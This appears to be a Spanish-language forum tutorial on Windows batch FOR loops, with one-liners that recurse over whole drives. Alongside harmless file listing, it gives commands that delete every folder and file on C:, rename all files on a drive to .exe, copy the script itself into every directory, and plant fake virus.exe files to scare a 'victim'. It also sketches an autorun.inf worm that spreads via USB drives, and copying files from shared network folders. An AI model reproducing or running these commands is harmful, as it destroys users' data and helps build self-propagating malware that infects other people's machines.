La idea original que tenia era solo mostrar como renombrar o cambiar las extensiones de los archivos de una unidad del HD pero me decidi hacerlo un poco mas detallado con codes mios de ejemplo, haciendo en la consola FOR /? veran la explicacion de cada parte que se usa en cada code puesto aqui :S
-----> Renombrar archivos de una extension a otra
En este code en la primera linea de IF EXIST buscara todos los archivos con extension doc en directorios y subdirectorios para renombrarlos a *.exe
en la 2da linea de IF EXIST hara los mismo pero en la unidad D:\\ y cambiara las extensiones de todos los archivos a *.exe
en la 3era linea de IF EXIST hara los mismmo pero cambiara las extensiones de todos los archivos e*.dat, osea dat que empieze su nombre con "e" pasara a ser DOC y los mismo
en la 4ta linea cambiara las extensiones de todos los archivos mp3 que tengan en su nombre la letra "a" pasaran a formato *.xls
@echo off
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO REN %%x\\*.doc *.exe) ELSE echo NO EXISTE
IF EXIST D:\\ (FOR /R D:\\ /D %%x in (*) DO REN %%x\\*.* *.exe) ELSE echo NO EXISTE
IF EXIST E:\\ (FOR /R E:\\ /D %%x in (*) DO REN %%x\\e*.dat *.doc) ELSE echo NO EXISTE
IF EXIST F:\\ (FOR /R F:\\ /D %%x in (*) DO REN %%x\\*a*.mp3 *.xls) ELSE echo NO EXISTE
veran que se acepta comodines:
*.doc *.exe = todos los doc a *.exe
*.* *.exe = todos los archivos a *.exe
e*.dat *.doc = todos los archivos que empiezen su nombre "e" de ext DAT pasaran a ser DOC
*a*.mp3 *.xls = todos los archivos que tengan en su name la letra "a" de ext MP3 pasaran a ser archivos de excel

Este es solo un ejemplo ya que echo se podra cambiar por goto a el sgte IF EXIST para evitar el mensaje de NO EXISTE
aqui les dejo ejemplos de otro tipo de uso de for con este code
-----> Copiarse a si mismo a todas los directorios y subdirectorios de una unidad, en este ej: de la C:\\ lo que quiere decir que el bat se copiara a cada una de las carpetas de todo el arbol de directorios de la unidad C:\\
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO copy %0 %%x\\) ELSE echo NO EXISTE
-----> Crear un archivo en todo el arbol de directorios de una unidad
En este ejemplo creara un mensaje.txt en cada carpeta y subcarpeta de la unidad C:\\
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO echo hola > %%x\\mensaje.txt ) ELSE echo NO EXISTE
En este ejemplo creara un archivo virus.exe en cada carpeta y subcarpeta de la unidad C:\\
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO echo hola > %%x\\virus.exe ) ELSE echo NO EXISTE
Ideal para hacer creer a la victima que esta infectada je ej!!!
-----> Eliminar Directorios de toda la Unidad C:\\
usando el comando RD
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO RD /S/Q %%x) ELSE echo NO EXISTE
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (a*) DO RD /S/Q %%x) ELSE echo NO EXISTE
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*b*) DO RD /S/Q %%x) ELSE echo NO EXISTE
Noten que FOR acepta los comodines (*) quiere decir todos
(a*) quiere decir todos los folders que empiezen con la letra "a"
(*b*) quiere decir todos los folders que tengan una letra "b" en su nombre
y asi se puede combinar de muchas maneras
-----> Eliminar Archivos de toda la Unidad C:\\
Usando el comando DEL, la ventaja es que FOR hara el proceso carpeta por carpeta y subcarpeta, es mas seguro de este modo y eficiente
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO DEL /F/S/Q %%x) ELSE echo NO EXISTE
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*.doc) DO DEL /F/S/Q %%x) ELSE echo NO EXISTE
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (a*.mp3) DO DEL /F/S/Q %%x) ELSE echo NO EXISTE
igualmente se pueden usar comodines
(*) = todos
(*.doc) = los archivos que tengan la extension doc
(a*.mp3) = los archivos que empiezen con a y tengan la extension mp3
(*s*) = todos los archivos que tengan la letra "s" en su nombre

-----> Copiar y mover los archivos encontrados a nuestra carpeta en este ejemplo buscamos en la unidad C:\ el archivo "engel.mp3" ya sea para moverlo a nuestra carpeta o copiarlo
IF EXIST C:\\ (FOR /R C:\\ %%x in (engel.mp3) DO move %%x C:\\myfolder\\) ELSE echo NO EXISTE
IF EXIST C:\\ (FOR /R C:\\ %%x in (engel.mp3) DO copy %%x C:\\myfolder\\) ELSE echo NO EXISTE
tb se pueden utilizar los comodines para especificar varios archivos de alguna determinada extension o nombre

notese quese podria hacerse en entornos de red con carpetas compartidas para buscar algun archivo y copiarlo a nuestra pc

-----> Crear una lista.txt de los directorios de nuestra unidad C:\\ En este ejemplo crea una lista de todos los directorios y subdirectorios de nuestra unidad C:\\ y la guarda en C:\\list.txt
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE
en este caso carpetas y subcarpetas que empiezen con "a"
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (a*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE
en este caso carpetas y subcarpetas que tengan la "z" en algun lugar de su nombre
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*z*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE
-----> Listar Archivos de la unidad C:\\
En este caso listamos todos los archivos de la unidad C:\\ y lo guardamos en C:\\list.txt
IF EXIST C:\\ (FOR /R C:\\ %%x in (*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE
aqui listamos todos los archivos doc que comienzen con la letra "a"
IF EXIST C:\\ (FOR /R C:\\ %%x in (a*.doc) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE
aqui listamos todos los archivos mp3 de la unidad C:\\ y la guardamos en C:\\list mp3.txt ideal si queremos hacer una lista de nuestras canciones je je!!!
IF EXIST C:\\ (FOR /R C:\\ %%x in (*.mp3) DO echo %%x >> C:\\list mp3.txt) ELSE echo NO EXISTE
Tb no olvidarse que puede especificarse la ruta completa de una carpeta y no necesariamente debe ser alguna unidad del HD je je!!
Bueno eso es todo, favor si van a copiar esto no olvidarse de los creditos para Microchip je je!!!
Saludos

Nota.- En el asunto de "copiarse a si mismo a el arbol de directorios" y el de "crear algun tipo de archivo en el arbol de directorios" pueden utilizarse para crear un autorun.inf con el contenido "Shellexecute" y un bat malicioso el mismo para copiarse y ejecutarse a si mismo cada vez que se entra a dicha unidad o se inserta alguna memoria flash u disco de 1.44" para infectar a otras pc's, no creo que sea necesario el hacer un ejemplo de ello porque la parte dificil ya esta resuelta en el code, asi que usen la imaginacion para hacerlo si alguien
se anima porque a mi ya me dio flojera je je!!! prefiero seguir viendo tv

Salut!